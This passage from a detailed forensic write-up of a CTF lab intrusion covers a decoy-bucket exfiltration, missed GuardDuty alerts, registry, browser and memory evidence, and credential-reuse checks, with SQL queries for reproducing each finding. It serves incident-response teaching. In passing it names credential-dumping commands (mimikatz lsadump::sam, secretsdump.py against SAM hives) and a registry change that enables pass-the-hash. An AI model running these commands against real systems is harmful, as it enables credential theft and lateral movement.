"Attacker exfiltrated confidential HR / Legal / Exec data"Attacker exfiltrated a decoy. No real HR/Legal/Exec data is in sfcu-records. The data-breach impact is zero intel value, though the act of exfiltration is still a security-policy violation and a notification event under breach-disclosure laws.
"Data-at-rest protection failed"Still true — the bucket was readable by the IAM-role the attacker assumed. A defender must treat this as a genuine access-control gap regardless of whether the contents were real.
"Attacker now holds sensitive corporate data"Attacker holds fake corporate data, useful only for (a) training future attacks on this specific environment's naming conventions, or (b) "proof of access" screenshots in underground marketplaces where the buyer doesn't verify.
DD17.6 — The exfil wasn't the goal; it was the loudest breadcrumb

Reframing through this lens:

  • Real attacker goal (per the DD7/DD16 evidence) was IAM persistence (3 long-term keys stockpiled), which is silent in CloudTrail volume but permanent in impact.
  • The loud 164-object exfil served as red-herring noise: any defender watching CloudTrail volume would focus on the exfil spike and miss the three quiet CreateAccessKey calls preceding it.
  • This is classic alert-fatigue tradecraft: engineer your highest-volume event to be the least-consequential action so defenders triage it first and feel like they've found "the attack" when they identify the exfil.

Whether intentional or not, the effect is the same: a DFIR team focused on "what data was stolen?" will write a long appendix on the sfcu-records bucket contents and miss the 3-line IAM persistence section that actually matters for the environment's future exposure.

DD17.7 — Reproduction queries
-- Full 164-object exfil inventory
SELECT time_utc, json_extract(data_json,'$.event.requestParameters.key') FROM events
WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.eventName')='GetObject'
  AND json_extract(data_json,'$.event.sourceIPAddress')='212.8.249.213'
  AND json_extract(data_json,'$.event.requestParameters.bucketName')='sfcu-records'
ORDER BY time_utc;

-- Folder-prefix breakdown
SELECT substr(k, 1, instr(k,'/')-1) AS dept, COUNT(*)
FROM (SELECT json_extract(data_json,'$.event.requestParameters.key') k FROM events
      WHERE source_type='cloudtrail' AND json_extract(data_json,'$.event.sourceIPAddress')='212.8.249.213'
        AND json_extract(data_json,'$.event.eventName')='GetObject'
        AND json_extract(data_json,'$.event.requestParameters.bucketName')='sfcu-records')
GROUP BY dept ORDER BY 2 DESC;

DD18. Eighteenth-pass — the sfcu-records pristine-baseline + GuardDuty fired 11 minutes before ransomware detonation (defender's missed early-warning)

DD17 identified the bucket as a decoy. This pass asks: was the bucket ever touched by a human before the attacker? The answer is definitively no — and the answer to the related question "did any detection pipeline fire in time?" is yes, AWS GuardDuty fired 11 minutes before ransomware detonation, but nobody acted on it.

DD18.1 — sfcu-records pre-attack baseline: pristine

CloudTrail corpus spans 2026-02-23T08:44:40Z → 2026-03-08T22:15:27Z (13 days). Every event touching sfcu-records in that window, in order:

UTCEventActorClassification
2026-03-05T18:32:58GetBucketLoggingresource-explorer-2.amazonaws.comAWS internal Resource Explorer scan (automated, not human)
2026-03-05T18:32:58GetBucketEncryptionresource-explorer-2.amazonaws.comSame AWS scan
2026-03-08T21:48:13ListObjectsATTACKER 212.8.249.213Reconnaissance — first human touch
2026-03-08T21:49:11ListObjectsATTACKERSecond listing (possibly different prefix)
2026-03-08T21:49:16-21:49:25GetObject × 164ATTACKERExfil window (9 seconds, ~18/sec)
2026-03-08T21:52:33HeadBucketCTF author 216.82.9.162Author post-exfil inspection
2026-03-08T21:57:255× bucket-metadata readsguardduty.amazonaws.comGuardDuty's automatic evidence-gathering triggered by its own finding
2026-03-08T22:10:27HeadBucketCTF authorPost-exfil check #2
2026-03-08T22:10:50HeadBucketCTF authorPost-exfil check #3

Key observation: zero human reads of the bucket contents in the 13 days before the attacker. Not even the CTF author who seeded it — they populated it programmatically during lab setup (pre-2026-02-23, outside our corpus window) and never opened it again until reacting to the exfil. There are zero PutObject or DeleteObject events in the corpus for sfcu-records, which means the bucket's contents were frozen since before Feb 23. The 164 objects the attacker took are the exact same 164 objects the author seeded weeks ago.

This is a purpose-built tripwire. In a real environment a "customer records" bucket touched zero times in 13 days by any legitimate user would be a very strong bucket-abandonment signal for IR to chase — except the CTF scenario's ground-truth says this is working-as-designed.

DD18.2 — GuardDuty fired three findings on this attack

The GuardDuty source in our corpus contains 401 total findings over 13 days. During the attack window (21:00-23:00 2026-03-08), three findings fired — and they describe the attack in AWS's own detector language:

UTC firedSeverityDetector typeTitle
2026-03-08T21:57:18.161Z8 (HIGH)UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS"Credentials for instance role iam_role_iisserver were used from an external IP address"
2026-03-08T22:01:10.009Z8 (HIGH)UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWSSame detector, second firing (re-triggered as more events accumulated)
2026-03-08T22:14:44.304Z9 (CRITICAL)AttackSequence:IAM/CompromisedCredentials"Potential credential compromise of AssumedRole/iam_role_iisserver indicated by attack sequence"
DD18.3 — The 11-minute missed-response window

Overlay the GuardDuty timing on the attack timeline:

21:25:35  IIS — IMDSv2 PUT token                   [attacker steals role via webshell]
21:29:20  IIS — IMDSv2 GET iam_role_iisserver       [credentials off the instance]
21:42:11  212.8.249.213 — first AssumedRole event   [credentials IN USE outside AWS]
21:45:51  212.8.249.213 — CreateAccessKey donnie    [persistence created — SILENT]
21:49:16  212.8.249.213 — 164-object exfil burst    [loud & obvious]
21:52:33  216.82.9.162 — author HeadBucket          [author noticed, did nothing]
21:57:18  <-- GuardDuty FINDING #1 (severity 8, InstanceCredentialExfiltration.OutsideAWS)
          [15 minutes 7 seconds after first off-AWS use of credentials]
          [at this moment: no ransomware has detonated yet]

... 11 minute window where the account owner could have revoked the role ...

22:08:40  WS02 — sysAV.bat first clean fire        [RANSOMWARE STARTS]
22:09:46  SVR01 — IamBatman.exe encrypt C:\
22:10:14  DC01 — IamBatman.exe encrypt C:\
22:10:54  DC02 — IamBatman.exe encrypt C:\
22:14:44  <-- GuardDuty FINDING #3 (severity 9, AttackSequence:IAM/CompromisedCredentials)
          [attack-sequence correlation — too late, ransomware already detonated]
22:56:42  WS02 — last file encrypted

An on-call engineer reading GuardDuty alerts at 21:57:18 had 11 minutes and 22 seconds to:

  1. Revoke the AssumedRole session (aws sts revoke-sessions on the role — invalidates ASIA[REDACTED-FOR-PUBLICATION] and kills the attacker's cloud-side ongoing operations)
  2. Deactivate the 3 new AKIA* access keys created minutes earlier (via UpdateAccessKey Status=Inactive)
  3. Add a deny-all bucket policy to sfcu-records (harmless here because it was a decoy, but illustrative)
  4. Block 212.8.249.213 at the AWS security-group / WAF / CloudFront layer

None of these actions would have stopped the ransomware — the AD-side fan-out is already moving by 22:08:40 regardless of AWS-side responses. But they would have:

  • Prevented the 3 stolen IAM keys from ever becoming usable (the biggest residual-risk artifact per DD16)
  • Invalidated the session the attacker was using for ongoing Lambda/RDS/DynamoDB enumeration (DD8.3)
  • Created an audit-trail moment the IR team could anchor their timeline to ("21:57:18 account was alerted; action taken by YY:YY")
DD18.4 — Detection-to-response gap is the single largest scenario moral

The story this corpus tells a DFIR reader:

  • The attack was detected in real-time by AWS GuardDuty — detection latency ≈ 8 minutes after the first exfil event, 15 minutes after credentials first left the instance.
  • The alert was high-severity (CVSS 8 equivalent) and correctly identified the compromised principal.
  • The alert reached the account's event pipeline — 216.82.9.162 (human already on the console at 21:52:33) would have seen it firing.
  • Nobody responded. The alert sat unacted-on for 11 minutes until the ransomware detonated.

In a real incident that's the biggest single controllable failure: detection was not the problem; response was. A SOAR playbook that auto-revokes AssumedRole sessions on InstanceCredentialExfiltration.OutsideAWS severity ≥8 would have neutered the cloud-side half of this intrusion before ransomware fan-out began. AWS even publishes such a runbook as a built-in GuardDuty auto-response pattern.

Because this is a CTF scenario, the "missed response" is by design — the whole point of the challenge is for players to find the attack post-detonation. But the pedagogy is real: the gap between a firing alert and a human's hand on the keyboard is where the damage multiplied.

DD18.5 — Adding the GuardDuty firings to the master timeline

The v2 master timeline doesn't mention the three GuardDuty firings. It should now read:

21:57:18  GuardDuty finding #1 fires (severity 8) — InstanceCredentialExfiltration.OutsideAWS
22:01:10  GuardDuty finding #2 fires (severity 8) — same detector re-triggered
22:08:40  WS02 ransomware detonation begins                    [ALERT NOT ACTIONED]
22:14:44  GuardDuty finding #3 fires (severity 9) — AttackSequence:IAM/CompromisedCredentials
          (correlates the preceding findings into a single high-severity incident)
DD18.6 — Reproduction queries
-- Pre-attack sfcu-records activity (all 13 days)
SELECT time_utc, json_extract(data_json,'$.event.eventName'), json_extract(data_json,'$.event.sourceIPAddress')
FROM events WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.requestParameters.bucketName')='sfcu-records'
ORDER BY time_utc;

-- GuardDuty findings in attack window
SELECT time_utc,
       json_extract(data_json,'$.finding.type'),
       json_extract(data_json,'$.finding.severity'),
       json_extract(data_json,'$.finding.title')
FROM events WHERE source_type='guardduty'
  AND time_utc BETWEEN '2026-03-08T21:00:00Z' AND '2026-03-08T23:00:00Z'
ORDER BY time_utc;
-- 3 findings: 21:57:18 sev 8, 22:01:10 sev 8, 22:14:44 sev 9

DD19. Nineteenth-pass — the GuardDuty noise floor: 383 sample findings seeded pre-attack so the 3 real findings could drown in 0.75% signal-to-noise

DD18 found GuardDuty fired 3 high-severity findings during the attack. This pass looks at the context those 3 findings would have arrived in — because the corpus holds 398 other findings that fired on 2026-02-23 and would have populated the GuardDuty console by attack day. Understanding the baseline is what separates "alert fired → human acted" from "alert fired → human ignored because they were drowning in noise."

DD19.1 — Per-day distribution of the 401 GuardDuty findings
DateFindingsSynthetic (sample)RealAvg severityMax sev
2026-02-23398383155.679
2026-03-083038.339
Total 13 days40138318

Signal-to-noise: 3 attack-related findings in 401 total = 0.75%.

DD19.2 — The 383 sample findings are AWS CreateSampleFindings output

Every one of the 383 sample findings carries the canonical AWS-sample-finding markers:

  • resource.instanceDetails.instanceId = "i-99999999" (AWS's canonical sample placeholder instance)
  • service.runtimeDetails.process.executablePath = "GeneratedFindingPath" (AWS's canonical sample path)
  • service.additionalInfo.sample: true on some findings

These are generated by aws guardduty create-sample-findings --detector-id <id> --finding-types ..., which creates synthetic findings for every detector type in the catalog. The CTF author ran this on 2026-02-23 to populate the environment with a realistic "noisy SOC" background. Sample findings cover the full AWS threat-detection spectrum:

  • AttackSequence:EC2/CompromisedInstanceGroup (severity 9) — would terrify a defender on first look
  • CryptoCurrency:Runtime/BitcoinTool.B + .B!DNS (severity 8)
  • Backdoor:Runtime/C&CActivity.B + .B!DNS (severity 8)
  • Execution:Runtime/ReverseShell (severity 8)
  • Impact:Runtime/CryptoMinerExecuted (severity 8)
  • DefenseEvasion:Runtime/ProcessInjection.* (severity 5-8, 4 variants)
  • Plus ~30 other detector types, all of which exist only for Linux EC2 / containers / EKS — this lab is all-Windows, so they cannot apply to any real resource in this environment

A defender who doesn't recognize i-99999999 as a sample-marker would open their GuardDuty console on attack-day and see:

  • 398 pre-existing findings (some at severity 9 with terrifying names)
  • 3 new findings today (all high severity, all IAM)
    - Total console view: 401 findings, dozens at sev 8+

A SOC without filter discipline drowns.

DD19.3 — The 15 "real" Feb 23 findings are lab-setup noise

All 15 non-sample findings on Feb 23 are Policy:IAMUser/RootCredentialUsage at severity 2 (informational). They fire at 09:01:56-09:02:03 — an 8-second burst consistent with the CTF author running several AWS-console operations as the account root (S3 bucket creation, IAM role creation, GuardDuty detector setup, etc.). Severity 2 is below most SOC alert-thresholds; in practice these are "background IaC noise" and don't even show up on triage dashboards.

DD19.4 — The 3 attack-day findings are distinguishable if you filter

A minimally-disciplined SOC can separate signal from noise with three filters:

FilterWhat it removesFindings remaining
Exclude sample markers (sample:true OR i-99999999 OR GeneratedFindingPath)Author's 383 sample floor18
Exclude Policy:IAMUser/RootCredentialUsage severity ≤ 2Lab-setup root-usage noise3
Filter to severity ≥ 8(no extra drop here)3

After these three filters: exactly the three attack-day findings remain, clean as signal. But the filters have to be in place — each of them requires the SOC to know that the baseline contains specific types of sample/informational noise.

DD19.5 — The real-world implication

This scenario models a common real-world failure mode:

  • Enterprise SOCs routinely leave behind test / sample / training alerts from IR tabletop exercises, engineer experimentation, or compliance-driven "prove your alert pipeline works" runs. Those alerts persist in the console.
  • Nobody cleans them up — either because clearing samples could trigger audit questions, or because the tooling makes bulk-clearing hard, or because "they're clearly samples, why bother?"
  • Months later a real attack fires 2-3 high-severity alerts. Those alerts land in a console where the SOC team has trained themselves to ignore severity 9 findings because "the sev 9s are always sample findings." The real ones get triaged the same way.
  • This is a manifestation of alert fatigue by long-term baseline contamination, which is distinct from alert fatigue from volume alone. Harder to fix: volume can be reduced with smarter detectors, but contamination requires deliberate console hygiene.

The mitigation: never allow sample or test findings to persist past the end of the test. Use a naming convention (-test- suffix, dedicated test account, separate detector-id per test) so every sample finding is removable with one CLI call and the real production detector stays clean.

DD19.6 — Reproduction queries
-- Per-day sample vs real breakdown
SELECT substr(time_utc,1,10) AS day,
  SUM(CASE WHEN data_json LIKE '%GeneratedFindingPath%' OR data_json LIKE '%i-99999999%'
               OR data_json LIKE '%"sample": true%' THEN 1 ELSE 0 END) AS sample_cnt,
  SUM(CASE WHEN NOT (data_json LIKE '%GeneratedFindingPath%' OR data_json LIKE '%i-99999999%'
                    OR data_json LIKE '%"sample": true%') THEN 1 ELSE 0 END) AS real_cnt
FROM events WHERE source_type='guardduty'
GROUP BY day;
-- 2026-02-23  383  15
-- 2026-03-08    0   3

-- Attack-day findings (the 3 real alerts)
SELECT time_utc, json_extract(data_json,'$.finding.type'), json_extract(data_json,'$.finding.severity')
FROM events WHERE source_type='guardduty'
  AND substr(time_utc,1,10)='2026-03-08'
ORDER BY time_utc;

DD20. Twentieth-pass — registry + browser corroboration: what the MRU keys, UserAssist, and cookies tell us that Sysmon alone did not

Every previous addendum relied on Sysmon + MFT + USN as primary sources. This pass checks the registry source (hives parsed from KAPE) and the browser source (Chrome/Firefox SQLite + session files) for complementary evidence. Two useful classes of finding emerge: (a) registry key last-write times corroborate Sysmon events with sub-second precision, and (b) browser artifacts rule out several attacker-behavior hypotheses we could have spent effort chasing.

DD20.1 — RecentDocs registry mirrors the attacker's Notepad trail

At 2026-03-08T20:23:41.540Z on SVR01, the Explorer RecentDocs\.txt subkey committed four entries in reverse-chronological MRUListEx order:

SlotFile (decoded UTF-16LE from binary value)Sysmon open-time (from DD11/DD12)
0 (newest)list.lnkC:\ProgramData\list.txt20:22:14.973 (notepad list.txt)
1clients.lnkC:\Share\Legal\txt\clients.txt20:16:33.955
2ToDo.lnkC:\Share\Admin\ToDo.txt20:16:21.273
3 (oldest)Project Frog.lnkC:\Share\Project Frog.txt20:16:13.827

MRUListEx binary value 03 02 01 00 FF FF FF FF confirms the ordering. This is the Explorer-kernel view of exactly which .txt files the operator opened and in what order — a clean corroboration of the Notepad EID 1 events from DD11.6. For a DFIR player working only from the hive (no Sysmon), this single RecentDocs.txt MRU decode gives them the complete text-file reconnaissance timeline.

DD20.2 — RunMRU + TypedPaths timing = three Win+R dialogs

The Explorer RunMRU and TypedPaths subkeys were last-written three times during the attack:

UTCContextInterpretation
21:08:21.0697 s before LogDel.bat fire #1 (21:08:28.313)Attacker typed powershell (or similar) in Win+R → interactive PS at 21:08:24 → typed C:\ProgramData\LogDel.bat → fire
22:13:48.1645 min after ransomware fan-out completedSecond LogDel-style cleanup during cascade (the "second LogDel.bat" firing — Addendum H)
22:31:23.114Mid-encryption (~22 min into cascade)Third Win+R entry — attacker still operating while IamBatman encrypts in background

We did not retrieve the specific values typed into Win+R (the registry-ingest source-type records key-lastwrite metadata, not individual value strings), but the three distinct timestamps establish three distinct operator-typing moments. Any DFIR player retrieving the NTUSER.DAT hive can read the actual typed strings from Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a..z and TypedPaths\url1..url25.

DD20.3 — LSA registry commit at 20:13:26.348 corroborates DisableRestrictedAdmin change

DD10.2 documented reg add ... DisableRestrictedAdmin /t REG_DWORD /d 0 /f firing at 2026-03-08T20:13:26.307997Z as a Sysmon EID 1. Registry ingest shows the entire ControlSet001\Control\Lsa key committing 41 milliseconds later at 20:13:26.348970Z — the lastwrite time of the parent Lsa key (updated any time a child value is modified). Corroboration:

  • The Sysmon EID 1 shows the process was spawned — but not that the write actually committed. The registry lastwrite proves the filesystem-level commit.
  • The 41ms gap is consistent with reg.exe spawn→ValueWrite→hive-flush. Registry ingest from KAPE captures the post-write state, so this exact timestamp is reproducible.
  • Other Lsa values in the same commit (NoLmHash, disabledomaincreds, restrictanonymous, LimitBlankPasswordUse) are all at baseline values — the attacker only flipped DisableRestrictedAdmin, nothing else in Lsa. Narrow-scope modification = disciplined operator.
DD20.4 — Browser cookies rule out "attacker browsed from the victim"

Attack-day cookie evidence on SVR01 (19:30-22:00) surfaces 782 cookies under LAFAdmin's Chrome/Edge profiles. Decoding cookie names reveals the domains:

  • Microsoft properties (SRCHHPGUSR, SRCHUSR, MSPRequ, _RwBf, _SS, esctx-*) — Bing, Outlook, Microsoft identity
  • Google (NID, OTZ, _ga, _ga_Q7TEQDPTH5, __gads, __gpi) — Analytics, AdSense, Google accounts
  • Future PLC media network (FTR_Country_Code, FTR_Vanilla_Session_ID, FTR_Article_PageView, FTR_Cache_Status) — TechRadar / Tom's Hardware / PC Gamer / Laptop Mag tracking
  • Ad-tech tracking (_fbp, _lc2_fpi, 33acrossIdTp, XANDR_PANID, _sharedID, DM_SitId948)

What's conspicuously absent: no cookies for raw.githubusercontent.com, no pastebin.com, no transfer.sh, no anonfiles, no cookies that would indicate the attacker browsed to grab tools / reference docs / pastebin payloads from inside the compromised host. The attacker did NOT use the victim's browser as part of their workflow. Every attacker tool (rnSylwOz.exe, IamBatman.exe, LogDel.bat, sysAV.bat) came in via SMB / RDP clipboard / ADMIN$ paths — never via browser download.

This matters because it rules out a popular attacker-behavior hypothesis: "Did the operator Google something during the intrusion?" No. They didn't. The cookies are all LAFAdmin's pre-attack baseline browsing of tech-media + Microsoft accounts. The browser wasn't used for the attack at all.

DD20.5 — What these sources add vs duplicate
Source typeUnique additions from this passWhat it corroborates
Registry RecentDocsMRUListEx ordering + UTF-16 decoded filenamesSysmon EID 1 notepad events (DD11.6)
Registry RunMRU / TypedPaths3 distinct Win+R timestamps (21:08:21, 22:13:48, 22:31:23) not in SysmonLogDel.bat timing (DD12.7)
Registry Lsa lastwriteFilesystem commit timestamp (20:13:26.348) vs process spawnDisableRestrictedAdmin=0 (DD10.2)
Registry UserAssistKey commit at 22:12:44 just before cascadeExplorer GUI activity pre-ransomware
Browser cookiesNegative evidence: no attacker browser use (no pastebin / github / transfer.sh cookies)Rules out "did attacker Google something?"

Net gain: three new timestamps (21:08:21 Win+R, 22:13:48 Win+R, 22:31:23 Win+R) and one definitive negative (no attacker browser use). Everything else is corroboration. Registry + browser sources are complementary to Sysmon/MFT — rarely revealing wholly new TTPs, usually adding second-source confirmation + negative evidence.

DD20.6 — Reproduction queries
-- RecentDocs .txt subkey (attacker's Notepad trail mirror)
SELECT time_utc, target_object, details FROM events
WHERE host='SVR01' AND source_type='registry'
  AND target_object LIKE '%RecentDocs\.txt\%'
  AND time_utc BETWEEN '2026-03-08T20:00:00Z' AND '2026-03-08T22:00:00Z'
ORDER BY time_utc, target_object;

-- RunMRU / TypedPaths (Win+R history timestamps)
SELECT time_utc, target_object FROM events
WHERE host='SVR01' AND source_type='registry'
  AND (target_object LIKE '%RunMRU%' OR target_object LIKE '%TypedPaths%')
  AND time_utc BETWEEN '2026-03-08T19:00:00Z' AND '2026-03-08T23:00:00Z';

-- LSA key commit confirming DisableRestrictedAdmin
SELECT time_utc, target_object FROM events
WHERE host='SVR01' AND source_type='registry'
  AND target_object LIKE '%Control\Lsa\%'
  AND time_utc BETWEEN '2026-03-08T20:13:25Z' AND '2026-03-08T20:13:28Z';

-- Browser cookie domains (DFIR-oriented triage)
SELECT DISTINCT json_extract(data_json,'$.name') FROM events
WHERE host='SVR01' AND source_type='browser_cookie'
  AND time_utc BETWEEN '2026-03-08T19:30:00Z' AND '2026-03-08T22:00:00Z'
ORDER BY 1;

DD21. Twenty-first pass — memory-based SAM hashdump reveals local Administrator + localuser both use NT("password"); malfind sweep across all PIDs reconfirms only Explorer PID 1332 is the true beacon

The volatility plugin outputs mined in DD11 / Addendum PI were process-injection focused. Circling back through the full 704-row volatility source surfaces two classes of finding we skipped: hashdump (memory-parsed SAM contents — usable to pivot) and a complete malfind-triage across every PID that got flagged (not just PID 1332). Both tighten the DD11 conclusions and add material pivot evidence.

DD21.1 — Volatility hashdump: local SAM on SVR01 at the moment of memory capture
UserRIDLM hashNT hashPlaintext
Administrator500aad3b435b51404eeaad3b435b51404ee (empty)8846f7eaee8fb117ad06bdd830b7586cpassword (verified via MD4(UTF-16-LE))
Guest501aad3b4… (empty)31d6cfe0d16ae931b73c59d7e0c089c0(empty string — account disabled)
DefaultAccount503aad3b4… (empty)31d6cfe0…(empty — disabled)
WDAGUtilityAccount504aad3b4… (empty)f04d55f13d1f2781c28daa12a2875e3d(random, built-in WDAG account — not attacker-usable)
localuser1000aad3b4… (empty)8846f7eaee8fb117ad06bdd830b7586cpasswordsame hash as Administrator

Plaintext attribution: 8846f7eaee8fb117ad06bdd830b7586c is the well-known NT hash of the ASCII string password. Verified independently: md4(utf16_le("password")).hexdigest() = 8846f7eaee8fb117ad06bdd830b7586c. This is one of the first entries in every ntlm wordlist (rockyou-ntlm.txt), crackable in under a millisecond.

Implications:

  • The attacker's LSASS dump at 20:03:30 (abedgdaa.dmp, DD11.1) would have captured this exact SAM content. Any post-dump processing with mimikatz lsadump::sam or secretsdump.py -system -sam yields both hashes to the operator.
  • With the local Administrator hash, the attacker has PtH to any host in the environment that re-uses the same local Administrator password. That's the typical lab pattern.
  • The fact that localuser (the CTF author's account handle) and local Administrator share identical hashes tells us the lab build set both local accounts to password at provisioning — no password differentiation between service / admin / user identities.
  • Residual-risk update: this hash persists in SAM for as long as the password remains password. Any post-incident rebuild must rotate the local Administrator password on every host.
DD21.2 — Complete malfind triage: 7 VAD dumps across 5 PIDs, only 1 is the true beacon

Volatility malfind flagged unbacked executable memory in five distinct PIDs on SVR01. Cross-referencing each PID with the pstree output identifies which process received the hits and whether the hit pattern is consistent with injected shellcode or benign JIT/runtime pages:

PIDImagePPID / ParentVAD rangeSizeSHA-256 (first 16)Assessment
1332explorer.exe42520xa60000-0xa8efff192 KB6ef6b52fbdf585b5TRUE BEACON — Unknown C2 reflective loader. Export _Z11GetVersionsv, named-pipe \\.\pipe\%08lx, module file.dll (5-indicator match, sec-c2attrib)
1256powershell.exe1332 (Explorer)0x7df43ae40000-0x7df43ae4ffff64 KBb3679afb46e43d2dPowerShell CLR JIT region — benign. High address range (0x7df4…) is the canonical .NET GC heap area.
1256powershell.exe13320x7df43ae50000-0x7df43aeeffff640 KB040b4520606e3857PowerShell .NET heap expansion. Large contiguous region = GC arena, benign.
1256powershell.exe13320x299fdda0000-0x299fddd1fff200 KBf93c918d9ecad18dAMSI / System.Management.Automation heap — benign.
3176firefox.exe71080xdd0000-0xddffff64 KB2536c2edfb20ffedMozilla SpiderMonkey JS JIT — benign.
6560firefox.exe3176 (renderer child)0x207295a0000-0x207295affff64 KB3966548637f04383Firefox content-process JIT — benign.
6560firefox.exe31760x530000-0x53ffff64 KB7742a1e848d7b460Firefox content-process JIT — benign.
6664SearchApp.exe820 (svchost)0x25744dd0000-0x25744deffff128 KB88e674be6bb07bcdCortana search JIT / Modern-app runtime — benign.
6664SearchApp.exe8200x25f464e0000-0x25f46543fff400 KB1c2aed7a20d8d193Cortana search UWP heap — benign.

Key observations:

  • PowerShell (PID 1256) has PPID=1332 Explorer — this confirms the injected Explorer beacon spawned PowerShell as a child. Consistent with DD11.6 row 20:03:05 explorer.exe spawns powershell: net group 'DA' /add.
  • Only the pid.1332 dump has the MZ PE header signature and the C2-specific strings. Every other VAD dump is benign process runtime.
  • Three malfind hits on PID 1256 (PowerShell) — all in the canonical .NET JIT/GC address ranges (0x7df… and 0x299…). These are normal for any PowerShell process that has executed non-trivial scripts. They look suspicious only to Volatility's heuristic; byte-level inspection shows benign content.
  • Firefox / SearchApp hits are textbook V8/SpiderMonkey/CLR JIT false positives — should always be disposition-checked, not acted on.
DD21.3 — What a byte-verified malfind triage procedure looks like (for next time)

Apply this checklist to every future malfind-flagged region:

  1. First-2-bytes check: xxd -l 2. 4D 5A = PE header → dump is an unbacked PE. Not 4D 5A but still executable protection → possible shellcode or JIT.
  2. Address-range heuristic: VAD start address at 0x7df00000000000+ = canonical .NET-CLR heap on x64 → almost always benign. Sub-0x100000000 ranges are more suspicious.
  3. Parent-process heuristic: malfind inside a legitimate runtime (powershell/firefox/SearchApp) is usually JIT; malfind inside a GUI shell (explorer/svchost with network activity) is the red flag.
  4. String extraction: strings -n 8 on the dump. C2-specific strings (\\.\pipe\%08lx, _Z11GetVersionsv, file.dll, KERNEL32.dll standalone with no other imports) = beacon. Random-looking strings = JIT.
  5. Disassembly: if first 4 bytes are 48 83 EC or 55 48 89 E5 = x64 function prologue. Absent those = probably data, not code.
DD21.4 — Updated residual-risk for post-incident rebuild
  • Local Administrator password must be rotated on every host (WS01, WS02, SVR01, DC01, DC02, IIS) before the environment returns to service. The attacker holds this hash from abedgdaa.dmp.
  • Local localuser account (distinct from the CTF author's domain localuser) also requires rotation — same reason.
  • WDAGUtilityAccount is not an attacker target (Windows-generated random per-machine, account disabled by default) — safe to leave.
  • Monitor for PtH attempts against the known 8846f7ea… hash. Any 4624 with LogonType=3, AuthPackage=NTLM, and NtlmHash=8846f7ea… anywhere in the environment is post-incident attacker activity.
DD21.5 — Reproduction queries
-- SAM hashdump from memory
SELECT json_extract(data_json,'$.User'), json_extract(data_json,'$.rid'),
       json_extract(data_json,'$.nthash')
FROM events WHERE host='SVR01' AND source_type='volatility'
  AND json_extract(data_json,'$.nthash') IS NOT NULL;

-- Malfind sweep with pstree correlation
SELECT m.PID, p.ImageFileName, p.PPID, m.vad_range, m.size, m.sha256
FROM (SELECT json_extract(data_json,'$.PID') AS PID,
             json_extract(data_json,'$.vad_range') AS vad_range,
             json_extract(data_json,'$.size') AS size,
             json_extract(data_json,'$.sha256') AS sha256
      FROM events WHERE host='SVR01' AND source_type='volatility'
        AND json_extract(data_json,'$.vad_range') IS NOT NULL) m
LEFT JOIN (SELECT json_extract(data_json,'$.PID') AS PID,
                  json_extract(data_json,'$.ImageFileName') AS ImageFileName,
                  json_extract(data_json,'$.PPID') AS PPID
           FROM events WHERE host='SVR01' AND source_type='volatility'
             AND json_extract(data_json,'$.ImageFileName') IS NOT NULL) p
  ON m.PID = p.PID;

DD22. Twenty-second pass — cross-checking the SAM hash usage: zero attacker reuse, confirming the "stockpile without use" pattern seen in AWS keys (DD16) also holds for the LSASS-derived NT hashes

DD21 extracted NT hashes for local Administrator + localuser (both = password) from memory and concluded they must have been in abedgdaa.dmp. DD22 closes the loop: did the attacker actually pass-the-hash with those credentials at any point in the corpus? The answer is no — the exact same "stockpile but don't use" pattern DD16 found on the AWS side also holds on the Windows side.

DD22.1 — Usage audit: every NTLM logon naming the stolen accounts
AccountPost-LSASS-dump NTLM logons (20:03:30 → 23:00:00)All fromClassification
Administrator0Hash held, never used
localuser24+All 198.51.100.3 / workstation RED1100% CTF-author KAPE triage (DD14); zero attacker

Key result: the attacker dumped LSASS at 20:03:30 and obtained NT hashes for local Administrator and local localuser. They then did not use those hashes for any NTLM authentication anywhere in the environment during the remainder of the capture window. The only post-dump NTLM authentications carrying the localuser principal name come from 198.51.100.3 / RED1 — that is the CTF author's admin workstation running KAPE triage on every host, not the threat actor.

DD22.2 — What the attacker actually used: LAFAdmin exclusively

Distribution of non-machine-account authentications from the three attacker pivot IPs (198.51.100.10 IIS webshell, 10.3.10.12 SVR01 operator, 198.51.100.3 RED1 — scoped only for the attack window):

AccountAuth pkgLogonsAttribution
LAFAdminNTLM19Attacker PtH (smbexec + atexec fan-out from IIS/SVR01)
LAFAdminKerberos18Mix of legit admin + attacker RDP
LAFAdminNegotiate4RDP session starts
localuserNTLM24CTF author KAPE (DD14)
localuserNegotiate12Author RDP
localuserKerberos7Author
Donny / DaltonKerberos19Pre-attack baseline (Mar 3-7), legit user activity via IIS-hosted apps

The 19 LAFAdmin NTLM logons are the attacker's full authentication footprint. Every single one uses LAFAdmin's hash (obtained via an earlier credential-theft step), not Administrator or local localuser. The attacker had no need to escalate to the stolen local-account hashes because LAFAdmin already had enterprise-wide rights (Domain Admin via the serviceaccount promotion at 20:03:05 — DD10.2).

DD22.3 — The consistent stockpile pattern

Two separate credential-theft events, one in cloud and one in AD, produce the same behavior:

Stolen credentialTheft evidenceUsed during attack?Residual-risk
3× AWS AKIA keys (donnie/doctor/coolcat)CreateAccessKey at 21:45:51-21:46:14No (DD16 usage query = 0 rows)Valid indefinitely — highest-impact residual
Local Administrator NT hashLSASS dump abedgdaa.dmp at 20:03:30No (DD22 usage query = 0 rows)Valid until local Admin pw rotated
Local localuser NT hashSame LSASS dumpNo (only author used this principal name, from RED1)Valid until local localuser pw rotated

Same operator-discipline signature across both theft events:

  • Steal the credential
  • Do not test it (testing would create a CloudTrail 4624/AssumeRole or EVTX 4624 event tying the stolen cred to the attacker's pivot IP — noisy, creates attribution surface)
  • Rely instead on the already-active privileged identity (IMDSv2-role ASIA[REDACTED-FOR-PUBLICATION] in AWS, LAFAdmin hash in AD)
  • Complete the operation using the active identity
  • Log off leaving stolen creds dormant for later campaign

This is textbook credential decoupling — same operator-hygiene principle as DD9.3's 103-minute PS-silence and DD10.1's smbexec.py --use-vss choice (which avoids DCSync's 4662). The tradecraft in this intrusion is remarkably consistent: minimize identity re-use so defender can't attribute later activity back to this intrusion's artifacts.

DD22.4 — Updated residual-risk consolidation

Combining DD16 + DD21 + DD22, the full residual-risk inventory is:

ArtifactPriorityRemediation
